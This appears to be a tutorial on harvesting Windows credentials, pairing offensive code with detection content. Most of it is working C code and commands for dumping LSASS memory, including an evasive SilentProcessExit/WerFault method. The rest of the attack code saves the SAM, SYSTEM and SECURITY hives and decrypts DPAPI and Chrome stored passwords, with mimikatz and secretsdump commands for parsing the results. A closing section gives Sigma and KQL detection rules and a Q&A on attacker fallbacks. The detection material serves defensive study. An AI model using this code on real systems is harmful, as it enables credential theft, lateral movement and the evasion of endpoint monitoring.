Credential Harvesting Techniques
Credential harvesting is the top post-exploitation priority for lateral movement and persistence. Whether reading LSASS memory for Kerberos tickets and NTLM hashes, extracting the SAM database offline, or decrypting DPAPI-protected secrets — every technique hits different detection surfaces. Detection engineering answers depend on which access pattern the attacker used.
You have a SYSTEM-level shell on a Windows domain member. The goal is to extract hashed credentials for offline cracking and Kerberos tickets for pass-the-ticket attacks, while avoiding Defender's LSASS access alert (Event 4656 + 10). You need to choose between direct API access to LSASS, driver-assisted methods, shadow copy extraction, and registry hive reads — each with different privilege requirements and detection signatures.
LSASS Memory Dump — Why LSASS
MiniDumpWriteDump API
// Classic LSASS dump via dbghelp!MiniDumpWriteDump.
// Detected by: EDR watching OpenProcess(lsass) + Sysmon Event 10.
// Evasion approaches: indirect syscall for NtOpenProcess, dump to memory not disk.
#include <windows.h>
#include <dbghelp.h>
#pragma comment(lib, "dbghelp.lib")
BOOL DumpLsass(LPCWSTR outPath) {
// Enable SeDebugPrivilege
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
TOKEN_PRIVILEGES tp = {1, {{0, 0}, SE_PRIVILEGE_ENABLED}};
LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL);
CloseHandle(hToken);
// Find LSASS PID by name
DWORD lsassPid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe = { sizeof(pe) };
if (Process32FirstW(hSnap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, L"lsass.exe") == 0) {
lsassPid = pe.th32ProcessID; break;
}
} while (Process32NextW(hSnap, &pe));
}
CloseHandle(hSnap);
if (!lsassPid) return FALSE;
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPid);
if (!hProc) return FALSE;
HANDLE hFile = CreateFileW(outPath, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
BOOL ok = MiniDumpWriteDump(hProc, lsassPid, hFile,
MiniDumpWithFullMemory, NULL, NULL, NULL);
CloseHandle(hFile);
CloseHandle(hProc);
return ok;
}
// Parse with: mimikatz "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords"
// Or with pypykatz: pypykatz lsa minidump lsass.dmp
SilentProcessExit Dump (Evasive)
// Windows Error Reporting (WER) can be configured to dump any process
// when it exits "silently." The dump is written by WerFault.exe — a Microsoft
// signed binary — so it doesn't look like attacker code accessing LSASS directly.
// The access chain: Attacker → IFEO registry key → WerFault.exe → LSASS dump.
#include <windows.h>
VOID SetSilentProcessExitDump(LPCWSTR procName, LPCWSTR dumpDir) {
WCHAR keyPath[256];
swprintf_s(keyPath,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\%s",
procName); // e.g., L"lsass.exe"
HKEY hKey;
RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL);
DWORD reportingMode = 0x02; // MiniDumpOnExit
RegSetValueExW(hKey, L"ReportingMode", 0, REG_DWORD,
(BYTE*)&reportingMode, sizeof(DWORD));
RegSetValueExW(hKey, L"DumpFolder", 0, REG_EXPAND_SZ,
(BYTE*)dumpDir, (DWORD)((wcslen(dumpDir)+1)*sizeof(WCHAR)));
DWORD dumpType = MiniDumpWithFullMemory;
RegSetValueExW(hKey, L"DumpType", 0, REG_DWORD,
(BYTE*)&dumpType, sizeof(DWORD));
RegCloseKey(hKey);
// Also set IFEO to enable monitoring
WCHAR ifeoPath[256];
swprintf_s(ifeoPath,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s",
procName);
RegCreateKeyExW(HKEY_LOCAL_MACHINE, ifeoPath, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL);
DWORD monitorProcess = 1;
RegSetValueExW(hKey, L"GlobalFlag", 0, REG_DWORD,
(BYTE*)&monitorProcess, sizeof(DWORD));
RegCloseKey(hKey);
}
// After restart or lsass termination/restart signal, WerFault.exe writes the dump.
// Operator then reads dump from dumpDir without ever directly touching lsass.exe.
SAM/SYSTEM Registry Hive Dump
// SAM hive: C:\Windows\System32\config\SAM — locked while system is running.
// SYSTEM hive needed for decryption key (SYSKEY/bootkey).
// Method 1: Volume Shadow Copy (vssadmin) — reads unlocked copy.
// Method 2: reg.exe save — saves live hive to disk.
// PowerShell: reg save method (requires admin, not SYSTEM)
// reg save HKLM\SAM C:\Temp\SAM /y
// reg save HKLM\SYSTEM C:\Temp\SYSTEM /y
// reg save HKLM\SECURITY C:\Temp\SECURITY /y
// Then offline: impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
// C implementation via RegSaveKeyExW:
BOOL SaveHive(HKEY hive, LPCWSTR subkey, LPCWSTR outPath) {
// Need SeBackupPrivilege
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
TOKEN_PRIVILEGES tp = {1, {{0, 0}, SE_PRIVILEGE_ENABLED}};
LookupPrivilegeValueW(NULL, SE_BACKUP_NAME, &tp.Privileges[0].Luid);
AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL);
CloseHandle(hToken);
HKEY hKey;
if (RegOpenKeyExW(hive, subkey, REG_OPTION_BACKUP_RESTORE,
KEY_READ, &hKey) != ERROR_SUCCESS)
return FALSE;
LONG r = RegSaveKeyExW(hKey, outPath, NULL, REG_LATEST_FORMAT);
RegCloseKey(hKey);
return (r == ERROR_SUCCESS);
}
// Call: SaveHive(HKEY_LOCAL_MACHINE, L"SAM", L"C:\\Temp\\SAM");
// SaveHive(HKEY_LOCAL_MACHINE, L"SYSTEM", L"C:\\Temp\\SYSTEM");
// SaveHive(HKEY_LOCAL_MACHINE, L"SECURITY", L"C:\\Temp\\SECURITY");
DPAPI Credential Theft
// DPAPI (Data Protection API) protects: browser passwords, Windows Credential Manager,
// Outlook credentials, RDP passwords, Wi-Fi keys, and certificate private keys.
// CryptUnprotectData() — decrypts blobs protected by the current user's DPAPI key.
// The DPAPI master key is derived from the user's password (logged-on user context).
#include <windows.h>
#include <wincrypt.h>
#pragma comment(lib, "crypt32.lib")
BOOL DecryptDpapiBlob(BYTE* blob, DWORD blobLen,
BYTE** plaintext, DWORD* plainLen) {
DATA_BLOB in = { blobLen, blob };
DATA_BLOB out = {0};
if (!CryptUnprotectData(&in, NULL, NULL, NULL, NULL, 0, &out))
return FALSE;
*plaintext = out.pbData;
*plainLen = out.cbData;
return TRUE;
}
// Chrome password decryption (post-Chrome 80 uses AES-256-GCM):
// 1. Read APPDATA\Local\Google\Chrome\User Data\Local State
// -> encrypted_key = base64_decode(os_crypt.encrypted_key)
// -> Remove "DPAPI" prefix (5 bytes), call CryptUnprotectData -> AES key
// 2. For each login entry in Login Data SQLite (table logins, column password_value):
// if starts with "v10": AES-256-GCM decrypt with key, nonce = bytes[3:15]
// else: CryptUnprotectData directly on older entries
// Credential Manager dump location:
// %APPDATA%\Microsoft\Credentials\ (user credentials)
// %SYSTEMROOT%\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\
// Parse with: dpapi.py credential --file <blob> --masterkey <key>
Detection Engineering
| Technique | Detection event | Sysmon/Event ID | Key indicator |
|---|---|---|---|
| MiniDumpWriteDump | LSASS handle open | Sysmon 10 | SourceImage != known tools + GrantedAccess 0x1FFFFF |
| reg save SAM/SYSTEM | Registry hive save | Process create: reg.exe "save HKLM\SAM" | reg.exe + SAM/SYSTEM/SECURITY keywords |
| SilentProcessExit | IFEO/SilentProcessExit key write | Sysmon 13 (registry value set) | TargetObject contains SilentProcessExit\lsass.exe |
| VSS shadow read | vssadmin + shadow copy creation | Process 4688 | vssadmin.exe create shadow + subsequent file read of config\SAM |
| DPAPI blob decrypt | CryptUnprotectData in non-browser | Module load (dbghelp in unusual process) | Abnormal process calling crypt32.dll + reading Credentials folder |
title: LSASS Memory Access by Non-System Process
logsource:
product: windows
category: process_access
detection:
selection:
EventID: 10
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x1FFFFF' # PROCESS_ALL_ACCESS
- '0x143A' # common mimikatz access mask
- '0x1010' # PROCESS_VM_READ | PROCESS_QUERY_INFO
filter_legit:
SourceImage|contains:
- '\MsMpEng.exe'
- '\csrss.exe'
- '\wininit.exe'
- '\services.exe'
- '\svchost.exe'
condition: selection AND NOT filter_legit
level: critical
tags: [attack.credential_access, T1003.001]
-- MDE KQL: LSASS dump file creation
DeviceFileEvents
| where FileName endswith ".dmp" or FileName endswith ".zip"
| where InitiatingProcessFileName !in~ ("WerFault.exe", "Taskmgr.exe")
| join kind=inner (
DeviceProcessEvents
| where FileName =~ "lsass.exe"
| project DeviceName, LsassPid = ProcessId
) on DeviceName
| where InitiatingProcessId == LsassPid or
InitiatingProcessParentFileName =~ "lsass.exe"
| project Timestamp, DeviceName, InitiatingProcessFileName,
FolderPath, FileName
-- Registry hive save
DeviceRegistryEvents
| where ActionType == "RegistryKeyCreated" or ActionType == "RegistryValueSet"
| where RegistryKey has_any ("SilentProcessExit", "Image File Execution Options")
| where RegistryKey has "lsass.exe"
| project Timestamp, DeviceName, InitiatingProcessFileName, RegistryKey, RegistryValueName
Q&A
Credential Guard blocks NTLM hashes from living in LSASS — what does an attacker do instead, and how does that change your detection approach?
Windows Credential Guard (introduced in Windows 10 Enterprise) isolates LSASS credentials in a VSM (Virtual Secure Mode) partition running at a higher privilege ring — the credential material no longer lives in the normal LSASS process memory. An attacker who dumps lsass.exe with Credential Guard enabled gets Kerberos tickets (which are still accessible, since the KDC interaction is not fully isolated) but will not get cleartext passwords or NTLM hashes for SSO accounts. The NTLM hashes are returned as placeholder blobs instead of real hashes.
The attacker's fallback paths are: (1) Wait for the user to authenticate to a network resource — the NTLM challenge/response happens over the wire and can be captured with responder or Inveigh, giving a Net-NTLMv2 hash for offline cracking; (2) Use Kerberoasting or AS-REP roasting, which require only normal domain user access, not LSASS memory; (3) Steal saved browser passwords or DPAPI blobs, which are not protected by Credential Guard; (4) Capture credentials from RDP sessions via keylogging, since the user typed the password; (5) DCSync against the Domain Controller using replication rights (requires DA or a compromised account with replication permissions) — this bypasses the endpoint entirely.
The detection change is significant: with Credential Guard, the LSASS memory dump still happens (and still triggers Event 10), but the attacker immediately pivots to network-based attacks. You should correlate LSASS access attempts with subsequent LLMNR/NBT-NS poisoning activity (Event 5136/4697 for responder-like service creation), unexpected Kerberos service ticket requests from the same host (Event 4769 with encryption type 0x17 = RC4, indicating Kerberoasting), and DCSync events (Event 4662 with property 1131f70 = replication). The LSASS dump attempt becomes the indicator that the attacker is on that host; the follow-on network behavior tells you their fallback strategy.